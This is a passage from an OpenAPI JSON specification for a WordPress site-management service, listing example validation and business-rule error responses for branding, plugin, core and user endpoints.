"Must be at least 10 characters long." } ] } } }, "invalid_author_url_type": { "summary": "Author URL is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.author.url", "message": "Must be a string." } ] } } }, "invalid_author_url": { "summary": "Author URL is not HTTP or HTTPS", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "plugin_branding.author.url", "message": "Must be an HTTP or HTTPS URL." } ] } } } } } } }, "SitePluginBrandingPlanRequiredResponse": { "description": "Plugin branding is not available on the site's current plan.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Plugin Whitelabel." } ] } } } } }, "SiteWpLoginOkResponse": { "description": "Site WP Login branding returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteWpLoginResponse" }, "examples": { "default": { "summary": "Default site WP Login", "value": { "wp_login": { "type": "default", "logo_file": null, "label": null, "error_message": null, "tooltip": null, "sender_email": null } } }, "same_as_account": { "summary": "Inherited account WP Login", "value": { "wp_login": { "type": "same_as_account", "logo_file": null, "label": "Acme Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact Acme support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "custom": { "summary": "Custom site WP Login", "value": { "wp_login": { "type": "custom", "logo_file": null, "label": null, "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": null } } } } } } }, "SiteWpLoginUpdatedResponse": { "description": "Site WP Login branding updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteWpLoginResponse" }, "examples": { "default": { "summary": "Default site WP Login", "value": { "wp_login": { "type": "default", "logo_file": null, "label": null, "error_message": null, "tooltip": null, "sender_email": null } } }, "same_as_account": { "summary": "Inherited account WP Login", "value": { "wp_login": { "type": "same_as_account", "logo_file": null, "label": "Acme Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact Acme support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "custom": { "summary": "Custom site WP Login", "value": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Site Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } } } } } }, "SiteWpLoginValidationResponse": { "description": "The `wp_login` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing wp_login root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "wp_login", "message": "Can't be blank." } ] } } }, "invalid_wrapper": { "summary": "wp_login wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "wp_login", "message": "Must be an object." } ] } } }, "missing_type": { "summary": "WP Login type is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "wp_login.type", "message": "Can't be blank." } ] } } }, "non_string_type": { "summary": "WP Login type is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "wp_login.type", "message": "Must be a string." } ] } } }, "invalid_type": { "summary": "WP Login type is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "wp_login.type", "message": "Invalid type. Allowed values: default, same_as_account, custom." } ] } } }, "missing_custom_fields": { "summary": "Required custom WP Login fields are missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "wp_login.error_message", "message": "Can't be blank." }, { "code": "blank", "param": "wp_login.tooltip", "message": "Can't be blank." } ] } } }, "invalid_sender_email": { "summary": "sender_email is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sender_email", "message": "Must be an object." } ] } } }, "blank_sender_email_id": { "summary": "sender_email.id is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sender_email.id", "message": "Can't be blank." } ] } } }, "invalid_field_type": { "summary": "Label is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "label", "message": "Must be a string." } ] } } }, "invalid_error_message_type": { "summary": "Error message is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "wp_login.error_message", "message": "Must be a string." } ] } } }, "invalid_tooltip_type": { "summary": "Tooltip is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "wp_login.tooltip", "message": "Must be a string." } ] } } }, "invalid_logo_type": { "summary": "Logo file is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "logo_file", "message": "Must be a string." } ] } } }, "label_too_long": { "summary": "Label is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "label", "message": "Must be at most 100 characters long." } ] } } }, "error_message_too_long": { "summary": "Error message is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "wp_login.error_message", "message": "Must be at most 200 characters long." } ] } } }, "tooltip_too_long": { "summary": "Tooltip is too long", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "wp_login.tooltip", "message": "Must be at most 200 characters long." } ] } } }, "logo_invalid": { "summary": "Logo file is not valid base64", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "logo_file", "message": "Logo file must be a valid base64-encoded image." } ] } } }, "invalid_logo_format": { "summary": "Logo file is not PNG or JPEG", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "logo_file", "message": "Logo file must be a PNG or JPEG image." } ] } } }, "logo_too_large": { "summary": "Logo file is too large", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "logo_file", "message": "Logo file size must not exceed 40960 bytes." } ] } } } } } } }, "SiteWpLoginBusinessResponse": { "description": "The site WP Login branding could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Site plan does not support WP Login Branding", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support WP Login Whitelabel." } ] } } }, "site_not_primary": { "summary": "Site must be a primary site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "site_not_primary", "param": "base", "message": "Site must be primary." } ] } } }, "plugin_version_unsupported": { "summary": "Plugin version is too old", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plugin_version_unsupported", "param": "base", "message": "Wp login whitelabel requires plugin version 1.4 or higher." } ] } } }, "sender_email_not_found": { "summary": "Sender email ID is not accessible", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sender_email.id", "message": "Sender email not found." } ] } } } } } } }, "SitesWpCoreInvalidIndexQueryResponse": { "description": "The `site_ids` or filters query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_type": { "summary": "Site IDs is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank": { "summary": "Site IDs is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[locked:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "update_available", "message": "Must be a boolean." } ] } } } } } } }, "SitesWpCoreSiteIdsUnprocessableResponse": { "description": "One or more submitted site IDs are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteIdsBusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } } } } } }, "SitesWpCoreSitesBadRequestResponse": { "description": "The `sites` request field is missing, empty, not an array, or contains an invalid site entry.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Invalid site payload" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Can't be blank" } ] } } } } } } }, "SitesWpCoreSitesUnprocessableResponse": { "description": "One or more submitted sites are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } } } } } }, "SitesWpPluginsInvalidIndexQueryResponse": { "description": "The `site_ids`, filters, or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_site_ids_type": { "summary": "Site IDs is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank_site_ids": { "summary": "Site IDs is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[slug:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "active", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SitesWpPluginsSiteIdsUnprocessableResponse": { "description": "One or more submitted `site_ids` values are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteIdsBusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } } } } } }, "SitesWpPluginsInstallBadRequestResponse": { "description": "The plugin install request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "missing_plugin_slug": { "summary": "Plugin slug is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins.0.slug", "message": "Can't be blank" } ] } } }, "invalid_package_scheme": { "summary": "Package URL is not HTTPS", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.plugins.0.package", "message": "Package must be an https URL" } ] } } }, "invalid_package_domain": { "summary": "Package URL is not from a WordPress.org domain", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_domain", "param": "sites.0.plugins.0.package", "message": "Invalid package domain. Only WordPress.org subdomains (*.wordpress.org, *.w.org, *.wp.org) are allowed." } ] } } }, "invalid_options_type": { "summary": "Operation options is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options", "message": "Must be an object" } ] } } }, "invalid_visual_regression_option": { "summary": "Visual regression option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.visual_regression", "message": "Must be a boolean" } ] } } }, "invalid_backup_option": { "summary": "Backup option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.backup", "message": "Must be a boolean" } ] } } }, "invalid_sandbox_option": { "summary": "Sandbox option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.sandbox", "message": "Must be a boolean" } ] } } } } } } }, "SitesWpPluginsInstallUnprocessableResponse": { "description": "The plugin install task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression." } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates." } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates." } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "Cannot enable sandbox and backup together." } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox operation conflicts with running staged manage task." } ] } } } } } } }, "SitesWpPluginsUploadBadRequestResponse": { "description": "The plugin upload request is not multipart/form-data or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_content_type": { "summary": "Request is not multipart/form-data", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "Content-Type", "message": "Unsupported media type. Expected multipart/form-data." } ] } } }, "missing_plugins": { "summary": "Plugins key is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugins", "message": "Can't be blank" } ] } } }, "file_not_uploaded": { "summary": "File is not an uploaded file", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "file", "message": "Must be an uploaded file" } ] } } }, "file_not_zip": { "summary": "File is not a ZIP archive", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "file_must_be_zip", "param": "file", "message": "File must be a zip archive" } ] } } }, "file_too_large": { "summary": "File is larger than 50 MB", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "file_too_large", "param": "file", "message": "File size must be less than 50MB" } ] } } } } } } }, "SitesWpPluginsUploadUnprocessableResponse": { "description": "The plugin upload task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "upload_failed": { "summary": "Upload storage failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "file", "message": "Failed to upload plugin file" } ] } } }, "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression." } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates." } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates." } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "Cannot enable sandbox and backup together." } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox operation conflicts with running staged manage task." } ] } } } } } } }, "SitesWpPluginsOperationBadRequestResponse": { "description": "The plugin operation request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_sites_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Invalid site payload" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Can't be blank" } ] } } }, "missing_plugins": { "summary": "Site plugin list is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins", "message": "Can't be blank" } ] } } }, "blank_plugin_filename": { "summary": "Plugin filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins.0.filename", "message": "Can't be blank" } ] } } }, "invalid_options_type": { "summary": "Operation options is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options", "message": "Must be an object" } ] } } }, "invalid_visual_regression_option": { "summary": "Visual regression option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.visual_regression", "message": "Must be a boolean" } ] } } }, "invalid_backup_option": { "summary": "Backup option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.backup", "message": "Must be a boolean" } ] } } }, "invalid_sandbox_option": { "summary": "Sandbox option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.sandbox", "message": "Must be a boolean" } ] } } } } } } }, "SitesWpPluginsOperationUnprocessableResponse": { "description": "The plugin operation task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "plugin_not_installed": { "summary": "Plugin is not installed on the site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plugin_not_installed", "param": "sites.0.plugins.0", "message": "Plugin is not installed on the site." } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression." } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates." } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates." } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "Cannot enable sandbox and backup together." } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox operation conflicts with running staged manage task." } ] } } } } } } }, "SitesWpPluginsLockBadRequestResponse": { "description": "The plugin lock or unlock request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_sites_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Invalid site payload" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Can't be blank" } ] } } }, "missing_plugins": { "summary": "Site plugin list is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins", "message": "Can't be blank" } ] } } }, "blank_plugin_filename": { "summary": "Plugin filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins.0.filename", "message": "Can't be blank" } ] } } } } } } }, "SitesWpPluginsLockUnprocessableResponse": { "description": "Plugin updates could not be locked or unlocked.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "plugin_not_installed": { "summary": "Plugin is not installed on the site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plugin_not_installed", "param": "sites.0.plugins.0", "message": "Plugin is not installed on the site." } ] } } } } } } }, "SitesWpUsersInvalidIndexQueryResponse": { "description": "The `site_ids`, filters, sort, or pagination query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_site_ids_type": { "summary": "Site IDs is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank_site_ids": { "summary": "Site IDs is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[created_at:eq]", "message": "Filter is not supported." } ] } } }, "unsupported_role_filter": { "summary": "Role filter value is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[role:eq]", "message": "Role is not supported." } ] } } }, "invalid_two_fa_status_shape": { "summary": "2FA filter value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[two_fa_status:in]", "message": "Must be an array." } ] } } }, "unsupported_two_fa_status": { "summary": "2FA filter value is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[two_fa_status:in]", "message": "2FA status is not supported." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SitesWpUsersSiteIdsUnprocessableResponse": { "description": "One or more submitted site IDs are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteIdsBusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } } } }, "SitesWpUsersValidationErrorResponse": { "description": "The WordPress user request body or query parameters contain invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_users": { "summary": "Users array is blank", "value": { "error": { "status": 